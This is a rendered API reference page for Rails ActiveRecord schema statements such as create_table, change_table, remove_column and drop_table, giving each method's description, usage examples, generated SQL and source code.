+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + change_column_null(table_name, column_name, null, default = nil) + +

+ + +
+

Sets or removes a NOT NULL constraint on a column. The null flag indicates whether the value can be NULL. For example

+ +
change_column_null(:users, :nickname, false)
+
+ +

says nicknames cannot be NULL (adds the constraint), whereas

+ +
change_column_null(:users, :nickname, true)
+
+ +

allows them to be NULL (drops the constraint).

+ +

The method accepts an optional fourth argument to replace existing NULLs with some other value. Use that one when enabling the constraint if needed, since otherwise those rows would not be valid.

+ +

Please note the fourth argument does not set a column’s default.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 747
+      def change_column_null(table_name, column_name, null, default = nil)
+        raise NotImplementedError, "change_column_null is not implemented"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + change_table(table_name, base = self, **options) + +

+ + +
+

A block for changing columns in table.

+ +
# change_table() yields a Table instance
+change_table(:suppliers) do |t|
+  t.column :name, :string, limit: 60
+  # Other column alterations here
+end
+
+ +

The options hash can include the following keys:

+
:bulk +
+

Set this to true to make this a bulk alter query, such as

+ +
ALTER TABLE `users` ADD COLUMN age INT, ADD COLUMN birthdate DATETIME ...
+
+ +

Defaults to false.

+ +

Only supported on the MySQL and PostgreSQL adapter, ignored elsewhere.

+
+ +
Add a column
+ +
change_table(:suppliers) do |t|
+  t.column :name, :string, limit: 60
+end
+
+ +
Change type of a column
+ +
change_table(:suppliers) do |t|
+  t.change :metadata, :json
+end
+
+ +
Add 2 integer columns
+ +
change_table(:suppliers) do |t|
+  t.integer :width, :height, null: false, default: 0
+end
+
+ +
Add created_at/updated_at columns
+ +
change_table(:suppliers) do |t|
+  t.timestamps
+end
+
+ +
Add a foreign key column
+ +
change_table(:suppliers) do |t|
+  t.references :company
+end
+
+ +

Creates a company_id(bigint) column.

+ +
Add a polymorphic foreign key column
+ +
change_table(:suppliers) do |t|
+  t.belongs_to :company, polymorphic: true
+end
+
+ +

Creates company_type(varchar) and company_id(bigint) columns.

+ +
Remove a column
+ +
change_table(:suppliers) do |t|
+  t.remove :company
+end
+
+ +
Remove several columns
+ +
change_table(:suppliers) do |t|
+  t.remove :company_id
+  t.remove :width, :height
+end
+
+ +
Remove an index
+ +
change_table(:suppliers) do |t|
+  t.remove_index :company_id
+end
+
+ +

See also Table for details on all of the various column transformations.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 501
+      def change_table(table_name, base = self, **options)
+        if supports_bulk_alter? && options[:bulk]
+          recorder = ActiveRecord::Migration::CommandRecorder.new(self)
+          yield update_table_definition(table_name, recorder)
+          bulk_change_table(table_name, recorder.commands)
+        else
+          yield update_table_definition(table_name, base)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + change_table_comment(table_name, comment_or_changes) + +

+ + +
+

Changes the comment for a table or removes it if nil.

+ +

Passing a hash containing :from and :to will make this change reversible in migration:

+ +
change_table_comment(:posts, from: "old_comment", to: "new_comment")
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 1500
+      def change_table_comment(table_name, comment_or_changes)
+        raise NotImplementedError, "#{self.class} does not support changing table comments"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + check_constraint_exists?(table_name, **options) + +

+ + +
+

Checks to see if a check constraint exists on a table for a given check constraint definition.

+ +
check_constraint_exists?(:products, name: "price_check")
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 1321
+      def check_constraint_exists?(table_name, **options)
+        if !options.key?(:name) && !options.key?(:expression)
+          raise ArgumentError, "At least one of :name or :expression must be supplied"
+        end
+        check_constraint_for(table_name, **options).present?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + check_constraints(table_name) + +

+ + +
+

Returns an array of check constraints for the given table. The check constraints are represented as CheckConstraintDefinition objects.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 1252
+      def check_constraints(table_name)
+        raise NotImplementedError
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + column_exists?(table_name, column_name, type = nil, **options) + +

+ + +
+

Checks to see if a column exists in a given table.

+ +
# Check a column exists
+column_exists?(:suppliers, :name)
+
+# Check a column exists of a particular type
+#
+# This works for standard non-casted types (eg. string) but is unreliable
+# for types that may get cast to something else (eg. char, bigint).
+column_exists?(:suppliers, :name, :string)
+
+# Check a column exists with a specific definition
+column_exists?(:suppliers, :name, :string, limit: 100)
+column_exists?(:suppliers, :name, :string, default: 'default')
+column_exists?(:suppliers, :name, :string, null: false)
+column_exists?(:suppliers, :tax, :decimal, precision: 8, scale: 2)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 132
+      def column_exists?(table_name, column_name, type = nil, **options)
+        column_name = column_name.to_s
+        checks = []
+        checks << lambda { |c| c.name == column_name }
+        checks << lambda { |c| c.type == type.to_sym rescue nil } if type
+        column_options_keys.each do |attr|
+          checks << lambda { |c| c.send(attr) == options[attr] } if options.key?(attr)
+        end
+
+        columns(table_name).any? { |c| checks.all? { |check| check[c] } }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + columns(table_name) + +

+ + +
+

Returns an array of Column objects for the table specified by table_name.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 107
+      def columns(table_name)
+        table_name = table_name.to_s
+        definitions = column_definitions(table_name)
+        definitions.map do |field|
+          new_column_from_field(table_name, field, definitions)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + create_join_table(table_1, table_2, column_options: {}, **options) + +

+ + +
+

Creates a new join table with the name created using the lexical order of the first two arguments. These arguments can be a String or a Symbol.

+ +
# Creates a table called 'assemblies_parts' with no id.
+create_join_table(:assemblies, :parts)
+
+ +

You can pass an options hash which can include the following keys:

+
:table_name +
+

Sets the table name, overriding the default.

+
:column_options +
+

Any extra options you want appended to the columns definition.

+
:options +
+

Any extra options you want appended to the table definition.

+
:temporary +
+

Make a temporary table.

+
:force +
+

Set to true to drop the table before creating it. Defaults to false.

+
+ +

Note that create_join_table does not create any indices by default; you can use its block form to do so yourself:

+ +
create_join_table :products, :categories do |t|
+  t.index :product_id
+  t.index :category_id
+end
+
+ +
Add a backend specific option to the generated SQL (MySQL)
+ +
create_join_table(:assemblies, :parts, options: 'ENGINE=InnoDB DEFAULT CHARSET=utf8')
+
+ +

generates:

+ +
CREATE TABLE assemblies_parts (
+  assembly_id bigint NOT NULL,
+  part_id bigint NOT NULL,
+) ENGINE=InnoDB DEFAULT CHARSET=utf8
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 380
+      def create_join_table(table_1, table_2, column_options: {}, **options)
+        join_table_name = find_join_table_name(table_1, table_2, options)
+
+        column_options.reverse_merge!(null: false, index: false)
+
+        t1_ref, t2_ref = [table_1, table_2].map { |t| reference_name_for_table(t) }
+
+        create_table(join_table_name, **options.merge!(id: false)) do |td|
+          td.references t1_ref, **column_options
+          td.references t2_ref, **column_options
+          yield td if block_given?
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + create_table(table_name, id: :primary_key, primary_key: nil, force: nil, **options, &block) + +

+ + +
+

Creates a new table with the name table_name. table_name may either be a String or a Symbol.

+ +

There are two ways to work with create_table. You can use the block form or the regular form, like this:

+ +

Block form

+ +
# create_table() passes a TableDefinition object to the block.
+# This form will not only create the table, but also columns for the
+# table.
+
+create_table(:suppliers) do |t|
+  t.column :name, :string, limit: 60
+  # Other fields here
+end
+
+ +

Block form, with shorthand

+ +
# You can also use the column types as method calls, rather than calling the column method.
+create_table(:suppliers) do |t|
+  t.string :name, limit: 60
+  # Other fields here
+end
+
+ +

Regular form

+ +
# Creates a table called 'suppliers' with no columns.
+create_table(:suppliers)
+# Add a column to 'suppliers'.
+add_column(:suppliers, :name, :string, {limit: 60})
+
+ +

The options hash can include the following keys:

+
:id +
+

Whether to automatically add a primary key column. Defaults to true. Join tables for ActiveRecord::Base.has_and_belongs_to_many should set it to false.

+ +

A Symbol can be used to specify the type of the generated primary key column.

+
:primary_key +
+

The name of the primary key, if one is to be added automatically. Defaults to id. If :id is false, then this option is ignored.

+ +

If an array is passed, a composite primary key will be created.

+ +

Note that Active Record models will automatically detect their primary key. This can be avoided by using self.primary_key= on the model to define the key explicitly.

+
:options +
+

Any extra options you want appended to the table definition.

+
:temporary +
+

Make a temporary table.

+
:force +
+

Set to true to drop the table before creating it. Set to :cascade to drop dependent objects as well. Defaults to false.

+
:if_not_exists +
+

Set to true to avoid raising an error when the table already exists. Defaults to false.

+
:as +
+

SQL to use to generate the table. When this option is used, the block is ignored, as are the :id and :primary_key options.

+
+ +
Add a backend specific option to the generated SQL (MySQL)
+ +
create_table(:suppliers, options: 'ENGINE=InnoDB DEFAULT CHARSET=utf8mb4')
+
+ +

generates:

+ +
CREATE TABLE suppliers (
+  id bigint auto_increment PRIMARY KEY
+) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4
+
+ +
Rename the primary key column
+ +
create_table(:objects, primary_key: 'guid') do |t|
+  t.column :name, :string, limit: 80
+end
+
+ +

generates:

+ +
CREATE TABLE objects (
+  guid bigint auto_increment PRIMARY KEY,
+  name varchar(80)
+)
+
+ +
Change the primary key column type
+ +
create_table(:tags, id: :string) do |t|
+  t.column :label, :string
+end
+
+ +

generates:

+ +
CREATE TABLE tags (
+  id varchar PRIMARY KEY,
+  label varchar
+)
+
+ +
Create a composite primary key
+ +
create_table(:orders, primary_key: [:product_id, :client_id]) do |t|
+  t.belongs_to :product
+  t.belongs_to :client
+end
+
+ +

generates:

+ +
CREATE TABLE orders (
+    product_id bigint NOT NULL,
+    client_id bigint NOT NULL
+);
+
+ALTER TABLE ONLY "orders"
+  ADD CONSTRAINT orders_pkey PRIMARY KEY (product_id, client_id);
+
+ +
Do not add a primary key column
+ +
create_table(:categories_suppliers, id: false) do |t|
+  t.column :category_id, :bigint
+  t.column :supplier_id, :bigint
+end
+
+ +

generates:

+ +
CREATE TABLE categories_suppliers (
+  category_id bigint,
+  supplier_id bigint
+)
+
+ +
Create a temporary table based on a query
+ +
create_table(:long_query, temporary: true,
+  as: "SELECT * FROM orders INNER JOIN line_items ON order_id=orders.id")
+
+ +

generates:

+ +
CREATE TEMPORARY TABLE long_query AS
+  SELECT * FROM orders INNER JOIN line_items ON order_id=orders.id
+
+ +

See also TableDefinition#column for details on how to create columns.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 293
+      def create_table(table_name, id: :primary_key, primary_key: nil, force: nil, **options, &block)
+        validate_create_table_options!(options)
+        validate_table_length!(table_name) unless options[:_uses_legacy_table_name]
+
+        if force && options.key?(:if_not_exists)
+          raise ArgumentError, "Options `:force` and `:if_not_exists` cannot be used simultaneously."
+        end
+
+        td = build_create_table_definition(table_name, id: id, primary_key: primary_key, force: force, **options, &block)
+
+        if force
+          drop_table(table_name, force: force, if_exists: true)
+        else
+          schema_cache.clear_data_source_cache!(table_name.to_s)
+        end
+
+        result = execute schema_creation.accept(td)
+
+        unless supports_indexes_in_create?
+          td.indexes.each do |column_name, index_options|
+            add_index(table_name, column_name, **index_options, if_not_exists: td.if_not_exists)
+          end
+        end
+
+        if supports_comments? && !supports_comments_in_create?
+          if table_comment = td.comment.presence
+            change_table_comment(table_name, table_comment)
+          end
+
+          td.columns.each do |column|
+            change_column_comment(table_name, column.name, column.comment) if column.comment.present?
+          end
+        end
+
+        result
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + data_source_exists?(name) + +

+ + +
+

Checks to see if the data source name exists on the database.

+ +
data_source_exists?(:ebooks)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 44
+      def data_source_exists?(name)
+        query_values(data_source_sql(name), "SCHEMA").any? if name.present?
+      rescue NotImplementedError
+        data_sources.include?(name.to_s)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + data_sources() + +

+ + +
+

Returns the relation names usable to back Active Record models. For most adapters this means all tables and views.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 34
+      def data_sources
+        query_values(data_source_sql, "SCHEMA")
+      rescue NotImplementedError
+        tables | views
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + drop_join_table(table_1, table_2, **options) + +

+ + +
+

Drops the join table specified by the given arguments. See create_join_table and drop_table for details.

+ +

Although this command ignores the block if one is given, it can be helpful to provide one in a migration’s change method so it can be reverted. In that case, the block will be used by create_join_table.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 418
+      def drop_join_table(table_1, table_2, **options)
+        join_table_name = find_join_table_name(table_1, table_2, options)
+        drop_table(join_table_name, **options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + drop_table(table_name, **options) + +

+ + +
+

Drops a table from the database.

+
:force +
+

Set to :cascade to drop dependent objects as well. Defaults to false.

+
:if_exists +
+

Set to true to only drop the table if it exists. Defaults to false.

+
+ +

Although this command ignores most options and the block if one is given, it can be helpful to provide these in a migration’s change method so it can be reverted. In that case, options and the block will be used by create_table.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 531
+      def drop_table(table_name, **options)
+        schema_cache.clear_data_source_cache!(table_name.to_s)
+        execute "DROP TABLE#{' IF EXISTS' if options[:if_exists]} #{quote_table_name(table_name)}"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + foreign_key_exists?(from_table, to_table = nil, **options) + +

+ + +
+

Checks to see if a foreign key exists on a table for a given foreign key definition.

+ +
# Checks to see if a foreign key exists.
+foreign_key_exists?(:accounts, :branches)
+
+# Checks to see if a foreign key on a specified column exists.
+foreign_key_exists?(:accounts, column: :owner_id)
+
+# Checks to see if a foreign key with a custom name exists.
+foreign_key_exists?(:accounts, name: "special_fk_name")
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 1216
+      def foreign_key_exists?(from_table, to_table = nil, **options)
+        foreign_key_for(from_table, to_table: to_table, **options).present?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + foreign_keys(table_name) + +

+ + +
+

Returns an array of foreign keys for the given table. The foreign keys are represented as ForeignKeyDefinition objects.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 1082
+      def foreign_keys(table_name)
+        raise NotImplementedError, "foreign_keys is not implemented"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + index_exists?(table_name, column_name, **options) + +

+ + +
+

Checks to see if an index exists on a table for a given index definition.

+ +
# Check an index exists
+index_exists?(:suppliers, :company_id)
+
+# Check an index on multiple columns exists
+index_exists?(:suppliers, [:company_id, :company_type])
+
+# Check a unique index exists
+index_exists?(:suppliers, :company_id, unique: true)
+
+# Check an index with a custom name exists
+index_exists?(:suppliers, :company_id, name: "idx_company_id")
+
+# Check a valid index exists (PostgreSQL only)
+index_exists?(:suppliers, :company_id, valid: true)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 102
+      def index_exists?(table_name, column_name, **options)
+        indexes(table_name).any? { |i| i.defined_for?(column_name, **options) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + index_name_exists?(table_name, index_name) + +

+ + +
+

Verifies the existence of an index with a given name.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 990
+      def index_name_exists?(table_name, index_name)
+        index_name = index_name.to_s
+        indexes(table_name).detect { |i| i.name == index_name }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + indexes(table_name) + +

+ + +
+

Returns an array of indexes for the given table.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 81
+      def indexes(table_name)
+        raise NotImplementedError, "#indexes is not implemented"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + max_index_name_size() + +

+ + +
+

Returns the maximum length of an index name in bytes.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 1566
+      def max_index_name_size
+        62
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + native_database_types() + +

+ + +
+

Returns a hash of mappings from the abstract data types to the native database types. See TableDefinition#column for details on the recognized abstract data types.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 14
+      def native_database_types
+        {}
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + options_include_default?(options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 1490
+      def options_include_default?(options)
+        options.include?(:default) && !(options[:null] == false && options[:default].nil?)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + primary_key(table_name) + +

+ + +
+

Returns just a table’s primary key

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 145
+      def primary_key(table_name)
+        pk = primary_keys(table_name)
+        pk = pk.first unless pk.size > 1
+        pk
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove_belongs_to(table_name, ref_name, foreign_key: false, polymorphic: false, **options) + +

+ + +
+ +
+ + + + + +
+ Alias for: remove_reference +
+ + + + +
+ +
+

+ + remove_check_constraint(table_name, expression = nil, if_exists: false, **options) + +

+ + +
+

Removes the given check constraint from the table. Removing a check constraint that does not exist will raise an error.

+ +
remove_check_constraint :products, name: "price_check"
+
+ +

To silently ignore a non-existent check constraint rather than raise an error, use the if_exists option.

+ +
remove_check_constraint :products, name: "price_check", if_exists: true
+
+ +

The expression parameter will be ignored if present. It can be helpful to provide this in a migration’s change method so it can be reverted. In that case, expression will be used by add_check_constraint.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 1303
+      def remove_check_constraint(table_name, expression = nil, if_exists: false, **options)
+        return unless supports_check_constraints?
+
+        return if if_exists && !check_constraint_exists?(table_name, **options)
+
+        chk_name_to_delete = check_constraint_for!(table_name, expression: expression, **options).name
+
+        at = create_alter_table(table_name)
+        at.drop_check_constraint(chk_name_to_delete)
+
+        execute schema_creation.accept(at)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove_column(table_name, column_name, type = nil, **options) + +

+ + +
+

Removes the column from the table definition.

+ +
remove_column(:suppliers, :qualification)
+
+ +

The type and options parameters will be ignored if present. It can be helpful to provide these in a migration’s change method so it can be reverted. In that case, type and options will be used by add_column. Depending on the database you’re using, indexes using this column may be automatically removed or modified to remove this column from the index.

+ +

If the options provided include an if_exists key, it will be used to check if the column does not exist. This will silently ignore the migration rather than raising if the column was already removed.

+ +
remove_column(:suppliers, :qualification, if_exists: true)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 688
+      def remove_column(table_name, column_name, type = nil, **options)
+        return if options[:if_exists] == true && !column_exists?(table_name, column_name)
+
+        execute "ALTER TABLE #{quote_table_name(table_name)} #{remove_column_for_alter(table_name, column_name, type, **options)}"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove_columns(table_name, *column_names, type: nil, **options) + +

+ + +
+

Removes the given columns from the table definition.

+ +
remove_columns(:suppliers, :qualification, :experience)
+
+ +

type and other column options can be passed to make migration reversible.

+ +
remove_columns(:suppliers, :qualification, :experience, type: :string, null: false)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 664
+      def remove_columns(table_name, *column_names, type: nil, **options)
+        if column_names.empty?
+          raise ArgumentError.new("You must specify at least one column name. Example: remove_columns(:people, :first_name)")
+        end
+
+        remove_column_fragments = remove_columns_for_alter(table_name, *column_names, type: type, **options)
+        execute "ALTER TABLE #{quote_table_name(table_name)} #{remove_column_fragments.join(', ')}"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove_foreign_key(from_table, to_table = nil, **options) + +

+ + +
+

Removes the given foreign key from the table. Any option parameters provided will be used to re-add the foreign key in case of a migration rollback. It is recommended that you provide any options used when creating the foreign key so that the migration can be reverted properly.

+ +

Removes the foreign key on accounts.branch_id.

+ +
remove_foreign_key :accounts, :branches
+
+ +

Removes the foreign key on accounts.owner_id.

+ +
remove_foreign_key :accounts, column: :owner_id
+
+ +

Removes the foreign key on accounts.owner_id.

+ +
remove_foreign_key :accounts, to_table: :owners
+
+ +

Removes the foreign key named special_fk_name on the accounts table.

+ +
remove_foreign_key :accounts, name: :special_fk_name
+
+ +

Checks if the foreign key exists before trying to remove it. Will silently ignore indexes that don’t exist.

+ +
remove_foreign_key :accounts, :branches, if_exists: true
+
+ +

The options hash accepts the same keys as SchemaStatements#add_foreign_key with an addition of

+
:to_table +
+

The name of the table that contains the referenced primary key.

+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 1193
+      def remove_foreign_key(from_table, to_table = nil, **options)
+        return unless use_foreign_keys?
+        return if options.delete(:if_exists) == true && !foreign_key_exists?(from_table, to_table)
+
+        fk_name_to_delete = foreign_key_for!(from_table, to_table: to_table, **options).name
+
+        at = create_alter_table from_table
+        at.drop_foreign_key fk_name_to_delete
+
+        execute schema_creation.accept(at)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove_index(table_name, column_name = nil, **options) + +

+ + +
+

Removes the given index from the table.

+ +

Removes the index on branch_id in the accounts table if exactly one such index exists.

+ +
remove_index :accounts, :branch_id
+
+ +

Removes the index on branch_id in the accounts table if exactly one such index exists.

+ +
remove_index :accounts, column: :branch_id
+
+ +

Removes the index on branch_id and party_id in the accounts table if exactly one such index exists.

+ +
remove_index :accounts, column: [:branch_id, :party_id]
+
+ +

Removes the index named by_branch_party in the accounts table.

+ +
remove_index :accounts, name: :by_branch_party
+
+ +

Removes the index on branch_id named by_branch_party in the accounts table.

+ +
remove_index :accounts, :branch_id, name: :by_branch_party
+
+ +

Checks if the index exists before trying to remove it. Will silently ignore indexes that don’t exist.

+ +
remove_index :accounts, if_exists: true
+
+ +

Removes the index named by_branch_party in the accounts table concurrently.

+ +
remove_index :accounts, name: :by_branch_party, algorithm: :concurrently
+
+ +

Note: only supported by PostgreSQL.

+ +

Concurrently removing an index is not supported in a transaction.

+ +

For more information see the β€œTransactional Migrations” section.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 945
+      def remove_index(table_name, column_name = nil, **options)
+        return if options[:if_exists] && !index_exists?(table_name, column_name, **options)
+
+        index_name = index_name_for_remove(table_name, column_name, options)
+
+        execute "DROP INDEX #{quote_column_name(index_name)} ON #{quote_table_name(table_name)}"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove_reference(table_name, ref_name, foreign_key: false, polymorphic: false, **options) + +

+ + +
+

Removes the reference(s). Also removes a type column if one exists.

+ +
Remove the reference
+ +
remove_reference(:products, :user, index: false)
+
+ +
Remove polymorphic reference
+ +
remove_reference(:products, :supplier, polymorphic: true)
+
+ +
Remove the reference with a foreign key
+ +
remove_reference(:products, :user, foreign_key: true)
+
+
+ + + +
+ Also aliased as: remove_belongs_to +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 1061
+      def remove_reference(table_name, ref_name, foreign_key: false, polymorphic: false, **options)
+        conditional_options = options.slice(:if_exists, :if_not_exists)
+
+        if foreign_key
+          reference_name = Base.pluralize_table_names ? ref_name.to_s.pluralize : ref_name
+          if foreign_key.is_a?(Hash)
+            foreign_key_options = foreign_key.merge(conditional_options)
+          else
+            foreign_key_options = { to_table: reference_name, **conditional_options }
+          end
+          foreign_key_options[:column] ||= "#{ref_name}_id"
+          remove_foreign_key(table_name, **foreign_key_options)
+        end
+
+        remove_column(table_name, "#{ref_name}_id", **conditional_options)
+        remove_column(table_name, "#{ref_name}_type", **conditional_options) if polymorphic
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove_timestamps(table_name, **options) + +

+ + +
+

Removes the timestamp columns (created_at and updated_at) from the table definition.

+ +
remove_timestamps(:suppliers)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 1441
+      def remove_timestamps(table_name, **options)
+        remove_columns table_name, :updated_at, :created_at
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rename_column(table_name, column_name, new_column_name) + +

+ + +
+

Renames a column.

+ +
rename_column(:suppliers, :description, :name)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 755
+      def rename_column(table_name, column_name, new_column_name)
+        raise NotImplementedError, "rename_column is not implemented"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rename_index(table_name, old_name, new_name) + +

+ + +
+

Renames an index.

+ +

Rename the index_people_on_last_name index to index_users_on_last_name:

+ +
rename_index :people, 'index_people_on_last_name', 'index_users_on_last_name'
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 959
+      def rename_index(table_name, old_name, new_name)
+        old_name = old_name.to_s
+        new_name = new_name.to_s
+        validate_index_length!(table_name, new_name)
+
+        # this is a naive implementation; some DBs may support this more efficiently (PostgreSQL, for instance)
+        old_index_def = indexes(table_name).detect { |i| i.name == old_name }
+        return unless old_index_def
+        add_index(table_name, old_index_def.columns, name: new_name, unique: old_index_def.unique)
+        remove_index(table_name, name: old_name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rename_table(table_name, new_name, **) + +

+ + +
+

Renames a table.

+ +
rename_table('octopuses', 'octopi')
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 515
+      def rename_table(table_name, new_name, **)
+        raise NotImplementedError, "rename_table is not implemented"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + table_alias_for(table_name) + +

+ + +
+

Truncates a table alias according to the limits of the current adapter.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 28
+      def table_alias_for(table_name)
+        table_name[0...table_alias_length].tr(".", "_")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + table_comment(table_name) + +

+ + +
+

Returns the table comment that’s stored in database metadata.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 23
+      def table_comment(table_name)
+        nil
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + table_exists?(table_name) + +

+ + +
+

Checks to see if the table table_name exists on the database.

+ +
table_exists?(:developers)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 59
+      def table_exists?(table_name)
+        query_values(data_source_sql(table_name, type: "BASE TABLE"), "SCHEMA").any? if table_name.present?
+      rescue NotImplementedError
+        tables.include?(table_name.to_s)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + table_options(table_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 18
+      def table_options(table_name)
+        nil
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + tables() + +

+ + +
+

Returns an array of table names defined in the database.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 51
+      def tables
+        query_values(data_source_sql(type: "BASE TABLE"), "SCHEMA")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + use_foreign_keys?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 1518
+      def use_foreign_keys?
+        supports_foreign_keys? && foreign_keys_enabled?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + view_exists?(view_name) + +

+ + +
+

Checks to see if the view view_name exists on the database.

+ +
view_exists?(:ebooks)
+
+
